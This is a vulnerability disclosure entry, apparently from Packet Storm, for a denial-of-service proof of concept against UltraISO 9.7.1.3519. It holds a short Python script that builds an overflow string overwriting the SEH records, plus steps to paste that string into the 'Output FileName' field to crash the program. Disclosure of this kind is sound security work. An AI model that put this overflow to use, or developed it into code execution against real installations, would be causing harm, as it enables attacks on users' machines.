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UltraISO 9.7.1.3519 Output FileName Denial Of Service

🗓️ 14 Dec 2018 00:00:00Reported by Francisco RamirezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

UltraISO 9.7.1.3519 Output FileName Denial Of Service vulnerabilit

Code
`# Exploit Title: UltraISO 9.7.1.3519 - 'Output FileName' Denial of Service (PoC) and Pointer to next SEH and SE handler records overwrite  
# Discovery by: Francisco Ramirez  
# Discovery Date: 2018-12-14  
# Vendor Homepage: https://www.ultraiso.com/  
# Software Link : https://www.ultraiso.com/download.html  
# Tested Version: 9.7.1.3519  
# Tested on: Windows 10 Pro - 64 bit  
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow  
  
# Steps to Produce the Crash:   
# 1.- Run python code : python UltraISO_9.7.1.3519.py  
# 2.- Open UltraISO_9.7.1.3519.txt and copy content to clipboard  
# 3.- Open UltraISO_9.7.1.3519  
# 4.- In the Window select 'Tools' > 'Make CD/DVD Image'   
# 5.- In the field 'Output FileName' remove the default path.  
# 6.- Paste the content of UltraISO_9.7.1.3519.txt into the field: 'Output FileName'  
# 7.- Click 'Make' and you will see a crash.  
  
#!/usr/bin/env python  
  
a_letters = "\x41" * 304  
seRecord = "\x42" * 4  
sehRecord = "\x43" * 4  
buffer = a_letters + seRecord + sehRecord  
f = open ("UltraISO_9.7.1.3519.txt", "w")  
f.write(buffer)  
f.close()  
  
  
`

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14 Dec 2018 00:00Current
0.3Low risk
Vulners AI Score0.3
23